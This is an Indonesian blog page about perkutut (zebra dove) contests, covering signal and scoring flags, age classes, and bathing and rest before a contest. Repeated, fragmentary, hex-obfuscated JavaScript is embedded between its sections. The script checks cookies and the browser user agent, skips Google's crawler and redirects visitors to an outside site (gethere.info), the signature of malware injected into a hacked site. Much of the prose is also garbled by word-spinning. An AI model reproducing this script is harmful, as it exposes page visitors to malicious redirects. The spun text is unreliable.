IBX5980432E7F390 Kegunaan Dan Jenis Bendera Lomba Perkutut Kupas Triknya - Kicauan Burung Lovebird Ngekek

Kegunaan Dan Jenis Bendera Lomba Perkutut Kupas Triknya

Kegunaan Dan Jenis Bendera Lomba Perkutut

kegunaan dan jenis bendera lomba perkutut-Di dalam pertandingan burung (termasuk burung perkutut) mempunyai bendera tersendiri. Adakah kegunaan bendera di dalam konkurs burung? Kegunaannya ada, yaitu unutk menandakan suatu babak dan untuk memberikan nilai.

Dalam pertandingan burung, bendera dibedakan atas dua macam. Bendera yang pertama adalah bendera tanda bunyi dan juga bendera penilaian.

Bendera tersebut mempunyai fungsi masing-masing di dalam konkurs. Jika Anda ingin tahu apa kegunaan bendera tanda bunyi dan bendera evaluasi, simaklah beberapa klarifikasi di bawah ini.

Bendera Tanda Bunyi

Kegunaan Dan Jenis Bendera Lomba Perkutut

Foto By www.majalahburungpas.com

Apa yang dimaksud dengan bendera tanda bunyi? Bendera tanda bunyi yaitu bendera yang digunakan untuk memulaikan pertandingan dalam suatu pertandingan burung berkicau.

Tidak hanya memulaikan pertandingan pada awal pertandingan saja, bendera tanda bunyi juga di pakai di dalam kontes untuk memulai disetiap babak pertandingan.

Bendera tanda bunyi tidak hanya satu warna saja tetapi ada banyak sekali warna bendera tanda bunyi. Bendera tanda bunyi mempunyai banyak warna, tetapi disini akan dibahas hanya 3 warna bendera tanda bunyi yang sudah banyak dikenali oleh para penggemar perkutut.

3 Warna bendera tanda bunyi yang sudah banyak dikenali oleh para penggemar perkutut yaitu terdiri dari warna kuning, biru, dan putih. Setiap warna bedera tersebut mempunyai arti tersendiri.

Bendera tanda bunyi yang berwarna kuning, mempunyai arti bahwa pertandingan sudah dimulai dan babak pertama juga sudah dimulai.

Bendere yang berwarna biru, mempunyai arti bahwa babak utama sudah berakhir dan babak kedua dimulai. Dan bendera yang terakhir adalah bendera yang berwarna putih, yang mempunyai arti bahwa pertandingan babak kedua sudah tamat dan babak ketiga dimulai.

Bendera Penilaian

Apa yang dimaksud dengan bendera evaluasi? Bendera penilaian merupakan bendera yang dipakai untuk menyampaikan nilai kepada burung yang sedang bertanding.

Di dalam satu bendera, terdapat beberapa warna. Misalnya di dalam satu bendera evaluasi terdapat 2 atau 3 warna atau bisa saja lebih dari 2 atau 3 warna.

Tetapi ada juga di dalam satu bendera hanya ada satu warna saja. Bendera penilaian dapat dibedakan menjadi 3 jenis. Bendera penilaian yang pertama ialah yang memiliki satu warna, bendera ini merupakan bendera yang diperuntukkan bagi burung yang penampilannya sangat tidak memuaskan.

Bendera penilaian yang kedua adalah yang memiliki tida warna, bendera ini diperuntukkan bagi burung yang penampilannya standar saja.

Dan bendera evaluasi yang terakhir adalah bendera yang mempunyai lima warna. Bendera ini diperuntukkan bagi burung yang penampilannya sangat-sangat memuaskan.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)tf)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan bunyi murai kerikil medan gacor

Wajib Penting Di baca

  • Sangkar Yang Cocok Untuk Piyikan Perkutut
  • Pembagian Kelas Dalam Lomba Perkutut
  • Cara Melatih Mental Perkutut Mudah Beradaptasi
  • Mengobati Jenis Penyakit Amandel Perkutut
  • Tips Dan Trik Menggantang Perkutut Harian
  • Bahan Sarang Dan Bentuk Perkutut Bertelur
  • Mengobati Penyakit Perkutut Serak Sakit Tenggorokan
  • Suara Perkutut Bangkok Bisa Mengundang Rezeki Pemilik
  • Budidaya Burung Perkutut Sebagai Lahan Bisnis
  • Teknik Penangkaran Perkutut Secara Benar
  • 11 Katuranggan Perkutut Pembawa Sial Bagi Sang Pemilik

Pembagian Kelas Dalam Lomba Perkutut

Pembagian Kelas Dalam lomba perkutut-Mengingat yang mengikuti kontes tidak hanya satu jenis burung saja, maka panitia yang mengatur jalannya kontes membagi kelas antara burung anakan sampai burung remaja.

Untuk apa hal pembagian kelas dilakukan? Hal ini dilakukan semoga juri tidak kesulitan dalam menilai burung yang akan dilombakan.

Banyaknya minat pecinta burung yang ingin mengikuti burungnya ke dalam kontes menyebabkan banyaknya penerima yang masuk ke dalam kontes. Hal inilah yang menciptakan juri membagi kelas burung yang akan dilombakan.

Pembagian Kelas Dalam Lomba Perkutut

foto by infoperkutut.com

Pembagian kelas burung dibedakan menurut besar kecilnya burung. Dan bukan berdasarkan jenis burung tersebut.

Pada umumnya, di dalam kontes, burung dapat dibedakan menjadi beberapa kelas. Kelas-kelas tersebut seakan-akan piyik, dan dewasa. Jika Anda ingin tahu lebih jelasnya tetang pembagian kelas, mari kita simak penjelasan di bawah ini.

Piyik

Piyik merupakan kelas burung yang paling muda dari kelas burung lainnya. Sebenarnya, dahulu piyik tidak dikonteskan, akan tetapi karena semakin banyaknya minat masyarakat Indonesia mengikuti kontes burung terutama banyak ingin mengikutsertakan piyik ke kontes burung, hingga risikonya piyik pun dapat mengikuti kontes burung berkicau.

Di usia berapakah burung mampu memasuki kelas piyik? Pada usia 6 bulan, burung sudah mampu mengikuti kontes dan masuk ke dalam kelas piyik.

Pada usia 6 bulan, suara burung memang masih alami dan belum berubah menjadi sampaumur. Pada dikala masih piyik, orang banyak bilang bahwa suaranya masih alami dan tidak dibentuk-buat.

Suara piyikan memang dianggap lebih natural dibandingkan dengan suara burung sampaumur. Pasalnya, bunyi piyikan belum dimaster.

Sedangkan suara burung akil balig cukup akal sudah dimaster. Biasanya, pada kontes-kontes burung, piyikan digantungkan dan berada di antara banyaknya piyikan dan burung sampaumur yang mengikuti kontes.

Burung Dewasa

Sama halnya dengan piyikan, burung dewasa juga digantungkan. Apa bedanya menggantungkan antara piyikan dan burung dewasa? Bedanya adalah, bila piyikan digantungkan pada ketinggian di bawah 5 meter, burung akil balig cukup akal yang mengikuti kontes digantungkan pada ketinggian di atas 5 meter.

Hal ini dilakukan supaya pihak penyelenggara pertandingan tidak sulit membedakan antara kelas piyikan dan juga dengan kelas burung sampaumur.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1))(navigator[_0x446d[3]]

Baca juga: Ciri Fisik dan suara murai batu medan gacor

Wajib Penting Di baca

  • Sangkar Yang Cocok Untuk Piyikan Perkutut
  • Mengobati Jenis Penyakit Amandel Perkutut
  • Kegunaan Dan Jenis Bendera Lomba Perkutut
  • Teknik Penangkaran Perkutut Secara Benar
  • Apa Saja Yang Dinilai Waktu kontes Perkutut
  • Bahan Sarang Dan Bentuk Perkutut Bertelur
  • Mengobati Penyakit Perkutut Serak Sakit Tenggorokan
  • Tips Dan Trik Menggantang Perkutut Harian
  • Cara Melatih Mental Perkutut Praktis Beradaptasi
  • Bentuk Dan Desain Kandang Perkutut Ternak
  • Ciri Fisik Perkutut Tuban-Australia-Perkutut Lokal

Teknik Memandikan Perkutut Menjelang Kontes

Teknik memandikan perkutut menjelang kontes-Perawatan yang harus Anda lakukan kepada perkutut menjelang kontes yaitu memandikan perkutut. Jika biasanya perkutut yang tidak mengikuti kontes dimandikan dengan air biasa, maka memandikan perkutut menjelang kontes harus lebih diperlakukan lebih.

Disarankan kepada Anda kalau ingin memandikan perkutut Anda menjelang kontes maka mandikanlah dengan memakai air bekas cucian beras.

Air bekas cucian beras kemudian dicampurkan dengan dedaunan. Dedaunan yang dianjurkan ialah daun sirih. Apakah boleh bila memandikan perkutut tidak memakai air bekas cucian beras dan adonan daun sirih? Sebenarnya boleh saja.

Akan tetapi, bila tidak memandikan dengan air bekas cucian beras dan adonan daun sirih, bulu perkutut bisa saja berkutu karena air biasa tidak mampu membersihkan bulu secara optimal.Teknik Memandikan Perkutut Menjelang Kontes

Manfaat memandikan perkutut menggunakan air bekas cucian beras dan adonan daun sirih memang banyak sekali.

Salah satunya adalah menghilangkan kutu di bulu perkutut. Apabila perkutut Anda mempunyai banyak kutu dan waktu kontes burung berkicau hanya beberapa ahad saja, maka Anda mampu menggunakan air bekas cucian beras dan adonan daun sirih untuk memandikan perkutut Anda.

Dengan air yang bekas untuk cucian beras dan adonan daun sirih dipercaya dapat mengghilangkan kutu. Selain dapat mengilangkan kutu yang ada di bulu perkutut, memandikan dengan air bekas cucian beras dan adonan daun sirih juga mampu menciptakan bulu perkutut menjadi halus. Dengan begitu, perkutut akan menerima nilai lebih dari juri karena tidak ada kutu dan bulunya menjadi halus.

Waktu Istirahat Perkutut

Waktu istirahat perkutut harus diperhatikan. Terlebih lagi kalau perkutut ingin mengikuti kontes. Istirahat yang cukup mampu membantu kesehatan perkutut menjelang kontes dimulai.

Jangan paksakan perkutut Anda dilatih terus menerus tanpa beristirahat. Pasalnya, istirahat yang kurang mampu membuat kesehatan perkutut memburuk.

Taruklah perkutut ketika perkutut mau tidur di daerah yang sepi dan tidak banyak orang yang lalu-lalang.

Pasalnya jikalau perkutut diletakkan di tempat yang ramai dengan orang, maka perkutut akan insomnia dan istirahatnya juga mampu terganggu, dan imbasnya perkutut akan tidak secara maksimal mengikuti kontes burung berkicau.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]

Baca juga: Ciri Fisik dan suara murai batu medan gacor

Wajib Penting Di baca

  • Jenis Serta waktu Pemberian Vitamin Perkutut
  • Perawatan Harian Perkutut Berkualitas lomba
  • Jenis Pakan Perkutut Lomba-Perkutut Peliharaan
  • Mengobati Jenis Penyakit Amandel Perkutut
  • Membuat Kandang Perkutut Yang Sehat
  • Pembagian Kelas Dalam Lomba Perkutut
  • Cara Paling Praktis Menjodohkan Induk Perkutut
  • 13 Katuranggan Perkutut Yang Belum Diketahui Banyak Orang
  • Bahan Sarang Dan Bentuk Perkutut Bertelur
  • Suara Perkutut Juara Cengkok Irama Dan Nadanya
  • Sangkar Yang Cocok Untuk Piyikan Perkutut

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Kegunaan Dan Jenis Bendera Lomba Perkutut Kupas Triknya"

Posting Komentar